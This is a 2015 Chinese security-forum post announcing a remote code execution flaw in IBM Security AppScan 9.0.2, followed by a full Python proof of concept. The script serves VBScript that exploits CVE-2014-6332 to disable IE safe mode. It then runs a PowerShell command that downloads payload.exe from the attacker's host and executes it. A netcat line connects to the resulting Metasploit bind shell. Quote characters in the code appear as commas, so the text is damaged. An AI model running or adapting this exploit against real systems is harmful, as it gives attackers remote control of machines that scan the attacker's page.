搜索
查看: 5236|回复: 0

IBM Security AppScan 9.0.2远程代码执行漏洞(含POC)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-6-4 19:09:13 | 显示全部楼层 |阅读模式

IBM Security AppScan Standard是美国IBM公司的一套Web应用的安全测试工具。该工具可在应用开发生命周期中进行自动化动态和静态安全漏洞扫描。该漏洞基于Windows OLE自动化数组远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。


漏洞POC

  1. #!/usr/bin/python

  2. import BaseHTTPServer, socket

  3. ##
  4. # IBM Security AppScan Standard OLE Automation Array Remote Code Execution
  5. #
  6. # Author: Naser Farhadi
  7. # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
  8. #
  9. # Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
  10. #
  11. # Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
  12. # if you able to exploit IE then you can exploit appscan and acunetix ;)
  13. # This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
  14. # Metasploit windows/shell_bind_tcp Executable Payload
  15. #
  16. # Usage:
  17. #       chmod +x appscan.py
  18. #       ./appscan.py
  19. #
  20. # Video: http://youtu.be/hPs1zQaBLMU       ...
  21. #       nc 172.20.10.14 333
  22. ##

  23. class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  24.     def do_GET(req):
  25.         req.send_response(200)
  26.         if req.path == "/payload.exe":
  27.             req.send_header(,Content-type,, ,application/exe,)
  28.             req.end_headers()
  29.             exe = open("payload.exe", ,rb,)
  30.             req.wfile.write(exe.read())
  31.             exe.close()
  32.         else:
  33.             req.send_header(,Content-type,, ,text/html,)
  34.             req.end_headers()
  35.             req.wfile.write("""Please scan me!
  36.                             <SCRIPT LANGUAGE="VBScript">
  37.                             function runmumaa()
  38.                             On Error Resume Next
  39.                             set shell=createobject("Shell.Application")
  40.                             command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(,http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe,,\
  41.                             ,payload.exe,);$(New-Object -com Shell.Application).ShellExecute(,payload.exe,);"
  42.                             shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
  43.                             end function

  44.                             dim   aa()
  45.                             dim   ab()
  46.                             dim   a0
  47.                             dim   a1
  48.                             dim   a2
  49.                             dim   a3
  50.                             dim   win9x
  51.                             dim   intVersion
  52.                             dim   rnda
  53.                             dim   funclass
  54.                             dim   myarray

  55.                             Begin()

  56.                             function Begin()
  57.                               On Error Resume Next
  58.                               info=Navigator.UserAgent

  59.                               if(instr(info,"Win64")>0)   then
  60.                                  exit   function
  61.                               end if

  62.                               if (instr(info,"MSIE")>0)   then
  63.                                          intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  64.                               else
  65.                                  exit   function  
  66.                                          
  67.                               end if

  68.                               win9x=0

  69.                               BeginInit()
  70.                               If Create()=True Then
  71.                                  myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  72.                                  myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

  73.                                  if(intVersion<4) then
  74.                                      document.write("<br> IE")
  75.                                      document.write(intVersion)
  76.                                      runshellcode()                    
  77.                                  else  
  78.                                       setnotsafemode()
  79.                                  end if
  80.                               end if
  81.                             end function

  82.                             function BeginInit()
  83.                                Randomize()
  84.                                redim aa(5)
  85.                                redim ab(5)
  86.                                a0=13+17*rnd(6)
  87.                                a3=7+3*rnd(5)
  88.                             end function

  89.                             function Create()
  90.                               On Error Resume Next
  91.                               dim i
  92.                               Create=False
  93.                               For i = 0 To 400
  94.                                 If Over()=True Then
  95.                                 ,   document.write(i)     
  96.                                    Create=True
  97.                                    Exit For
  98.                                 End If
  99.                               Next
  100.                             end function

  101.                             sub testaa()
  102.                             end sub

  103.                             function mydata()
  104.                                 On Error Resume Next
  105.                                  i=testaa
  106.                                  i=null
  107.                                  redim  Preserve aa(a2)  
  108.                               
  109.                                  ab(0)=0
  110.                                  aa(a1)=i
  111.                                  ab(0)=6.36598737437801E-314

  112.                                  aa(a1+2)=myarray
  113.                                  ab(2)=1.74088534731324E-310  
  114.                                  mydata=aa(a1)
  115.                                  redim  Preserve aa(a0)  
  116.                             end function


  117.                             function setnotsafemode()
  118.                                 On Error Resume Next
  119.                                 i=mydata()  
  120.                                 i=readmemo(i+8)
  121.                                 i=readmemo(i+16)
  122.                                 j=readmemo(i+&h134)  
  123.                                 for k=0 to &h60 step 4
  124.                                     j=readmemo(i+&h120+k)
  125.                                     if(j=14) then
  126.                                           j=0         
  127.                                           redim  Preserve aa(a2)            
  128.                                  aa(a1+2)(i+&h11c+k)=ab(4)
  129.                                           redim  Preserve aa(a0)  

  130.                                  j=0
  131.                                           j=readmemo(i+&h120+k)   
  132.                                     
  133.                                            Exit for
  134.                                        end if

  135.                                 next
  136.                                 ab(2)=1.69759663316747E-313
  137.                                 runmumaa()
  138.                             end function

  139.                             function Over()
  140.                                 On Error Resume Next
  141.                                 dim type1,type2,type3
  142.                                 Over=False
  143.                                 a0=a0+a3
  144.                                 a1=a0+2
  145.                                 a2=a0+&h8000000
  146.                               
  147.                                 redim  Preserve aa(a0)
  148.                                 redim   ab(a0)     
  149.                               
  150.                                 redim  Preserve aa(a2)
  151.                               
  152.                                 type1=1
  153.                                 ab(0)=1.123456789012345678901234567890
  154.                                 aa(a0)=10
  155.                                       
  156.                                 If(IsObject(aa(a1-1)) = False) Then
  157.                                    if(intVersion<4) then
  158.                                        mem=cint(a0+1)*16            
  159.                                        j=vartype(aa(a1-1))
  160.                                        if((j=mem+4) or (j*8=mem+8)) then
  161.                                           if(vartype(aa(a1-1))<>0)  Then   
  162.                                              If(IsObject(aa(a1)) = False ) Then            
  163.                                                type1=VarType(aa(a1))
  164.                                              end if               
  165.                                           end if
  166.                                        else
  167.                                          redim  Preserve aa(a0)
  168.                                          exit  function

  169.                                        end if
  170.                                     else
  171.                                        if(vartype(aa(a1-1))<>0)  Then   
  172.                                           If(IsObject(aa(a1)) = False ) Then
  173.                                               type1=VarType(aa(a1))
  174.                                           end if               
  175.                                         end if
  176.                                     end if
  177.                                 end if
  178.                                           
  179.                                 
  180.                                 If(type1=&h2f66) Then         
  181.                                       Over=True      
  182.                                 End If  
  183.                                 If(type1=&hB9AD) Then
  184.                                       Over=True
  185.                                       win9x=1
  186.                                 End If  

  187.                                 redim  Preserve aa(a0)         
  188.                                     
  189.                             end function

  190.                             function ReadMemo(add)
  191.                                 On Error Resume Next
  192.                                 redim  Preserve aa(a2)  
  193.                               
  194.                                 ab(0)=0   
  195.                                 aa(a1)=add+4     
  196.                                 ab(0)=1.69759663316747E-313      
  197.                                 ReadMemo=lenb(aa(a1))  
  198.                               
  199.                                 ab(0)=0   
  200.                              
  201.                                 redim  Preserve aa(a0)
  202.                             end function

  203.                             </script>""")

  204. if __name__ == ,__main__,:
  205.     sclass = BaseHTTPServer.HTTPServer
  206.     server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
  207.     print "Http server started", socket.gethostbyname(socket.gethostname()), 80
  208.     try:
  209.         server.serve_forever()
  210.     except KeyboardInterrupt:
  211.         pass
  212.     server.server_close()
复制代码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表